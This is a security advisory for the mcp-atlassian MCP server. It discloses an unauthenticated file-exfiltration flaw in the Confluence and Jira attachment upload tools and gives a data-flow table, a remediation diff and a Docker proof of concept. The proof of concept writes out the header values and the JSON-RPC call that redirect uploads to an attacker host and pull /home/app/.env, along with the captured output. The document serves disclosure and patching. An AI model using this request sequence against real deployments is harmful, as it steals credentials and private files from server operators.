Summary
MCP Atlassian: MCP HTTP Client Server-Local File Exfiltration via Unvalidated Attachment Upload Path
Advisory details
Summary
The mcp-atlassian server exposes an MCP tool (confluence_upload_attachment and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (streamable-http or sse), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (X-Atlassian-Confluence-Url / X-Atlassian-Confluence-Personal-Token) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary file_path (e.g. /etc/passwd, ~/.env, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or Authorization header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2).
Details
Data flow (source → sink)
| Step | Location | Role |
|---|---|---|
| 1 | src/mcp_atlassian/servers/main.py:498-504 |
Middleware extracts X-Atlassian-Confluence-Url and X-Atlassian-Confluence-Personal-Token from incoming HTTP request headers. |
| 2 | src/mcp_atlassian/servers/main.py:584-595 |
When no Authorization header is present but service headers are, user_atlassian_auth_type is set to "pat", effectively bypassing authentication requirements. |
| 3 | src/mcp_atlassian/utils/urls.py:97-104 |
validate_url_for_ssrf blocks only localhost, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (MCP_ALLOWED_URL_DOMAINS) passes this check. |
| 4 | src/mcp_atlassian/servers/dependencies.py:544-545 |
The attacker-controlled URL is injected directly as url= into ConfluenceConfig, constructing a ConfluenceFetcher pointed at the attacker's server. |
| 5 | src/mcp_atlassian/servers/confluence.py:1358-1361 |
The MCP tool argument file_path is forwarded to confluence_fetcher.upload_attachment() without any sanitization. |
| 6 | src/mcp_atlassian/confluence/attachments.py:64-79 |
The path is converted to an absolute path via os.path.abspath() and checked for existence only. validate_safe_path() — already used on download paths — is never called here, leaving no directory restriction in place. |
| 7 | src/mcp_atlassian/confluence/attachments.py:477 |
Sink: files = {"file": (filename, open(file_path, "rb"))} — the file is opened and sent as multipart to the attacker's server. |
| 8 | src/mcp_atlassian/jira/attachments.py:374-386 |
Parallel Jira sink: same os.path.abspath() pattern, no validate_safe_path, then open(file_path, "rb"). |
Key code evidence
# src/mcp_atlassian/confluence/attachments.py
64: if not os.path.isabs(file_path):
65: file_path = os.path.abspath(file_path)
68: if not os.path.exists(file_path):
77: filename = os.path.basename(file_path)
477: files = {"file": (filename, open(file_path, "rb"))} # ← sink
# src/mcp_atlassian/jira/attachments.py
374: if not os.path.isabs(file_path):
375: file_path = os.path.abspath(file_path)
386: with open(file_path, "rb") as file: # ← sink
387: attachment = self.jira.add_attachment(
Why validate_safe_path is absent: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access.
Default configuration enables the attack: READ_ONLY_MODE defaults to false, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design).
Recommended remediation
--- a/src/mcp_atlassian/confluence/attachments.py
+++ b/src/mcp_atlassian/confluence/attachments.py
- if not os.path.isabs(file_path):
- file_path = os.path.abspath(file_path)
+ file_path = str(validate_safe_path(file_path))
filename = os.path.basename(file_path)
- files = {"file": (filename, open(file_path, "rb"))}
+ with open(file_path, "rb") as file_obj:
+ files = {"file": (filename, file_obj)}
+ response = self.confluence._session.put(
+ url, headers=headers, files=files, data=data
+ )
- response = self.confluence._session.put(
- url, headers=headers, files=files, data=data
- )
--- a/src/mcp_atlassian/jira/attachments.py
+++ b/src/mcp_atlassian/jira/attachments.py
- if not os.path.isabs(file_path):
- file_path = os.path.abspath(file_path)
+ file_path = str(validate_safe_path(file_path))
Additional hardening: reject header-based service URLs before fetcher construction using validate_url_for_ssrf with a strict allowlist, and consider defaulting READ_ONLY_MODE=true for remotely reachable deployments.
PoC
Prerequisites
- Docker (CLI + daemon) available on the attacker machine.
- Python 3.x with
httpxinstalled (pip install httpx). - The
mcp-atlassianrepository cloned locally (commitd8bc786or compatible).
Step 1 — Build the victim image
The Dockerfile at vuln-001/Dockerfile builds the mcp-atlassian server and plants a simulated .env file at /home/app/.env containing fake secrets:
SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
docker build -t mcp-atlassian-vuln001 \
-f vuln-001/Dockerfile \
/path/to/mcp-atlassian-repo
Step 2 — Run the automated PoC script
The poc.py script orchestrates the full attack:
python3 poc.py \
--repo /path/to/mcp-atlassian-repo \
--victim-port 18000 \
--attacker-port 18888
The script performs the following actions automatically:
- Creates a Docker network (
poc-vuln001-net). - Starts an attacker HTTP server container (
poc-vuln001-attacker, port18888) that mimics a Confluence REST API and records multipart upload bodies. - Starts the victim MCP server container (
poc-vuln001-victim, port18000) withREAD_ONLY_MODE=falseandMCP_ALLOWED_URL_DOMAINS=poc-vuln001-attacker. - Sends the following MCP JSON-RPC sequence to
http://127.0.0.1:18000/mcp:
# Step 4a — initialize (no Authorization header)
headers = {
"X-Atlassian-Confluence-Url": "http://poc-vuln001-attacker:8888",
"X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
}
POST /mcp {"jsonrpc":"2.0","method":"initialize","id":1,
"params":{"protocolVersion":"2024-11-05","capabilities":{},
"clientInfo":{"name":"vuln001-poc","version":"1.0"}}}
# Step 4b — trigger file exfiltration
POST /mcp {"jsonrpc":"2.0","method":"tools/call","id":3,
"params":{"name":"confluence_upload_attachment",
"arguments":{"content_id":"123",
"file_path":"/home/app/.env"}}}
- Queries
http://127.0.0.1:18888/exfiland verifies that the attacker server received the file contents.
Expected result
The attacker server logs and /exfil endpoint confirm receipt of the victim file:
[attacker] *** EXFILTRATED FILE CONTENT START ***
SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
[attacker] *** EXFILTRATED FILE CONTENT END ***
Phase 2 result: PASS — file exfiltration confirmed via live Docker PoC.
Impact
Vulnerability class: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, c
References
- https://github.com/advisories/GHSA-wv8v-v4c5-v75j
- https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wv8v-v4c5-v75j
- https://github.com/sooperset/mcp-atlassian/pull/1448
- https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460
- https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0
Related vulnerabilities
All Supply chain →- MEDIUMCVE-2026-61431
PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace
- MEDIUMCVE-2026-60088
PraisonAI: Project custom command templates can read outside-workspace files into model prompts
- MEDIUMCVE-2026-61432
PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace
- HIGHGHSA-5rmq-chc7-m22f
Vibe-Trading file-read tools expose arbitrary server-readable files
- HIGHCVE-2026-77255
MCP Atlassian: Arbitrary File Read & Exfiltration (Confused Deputy) in JIRA update_issue
- HIGHCVE-2026-75859
CodeWhale: Project config `instructions` override enables arbitrary file read into AI system prompt via cloned repository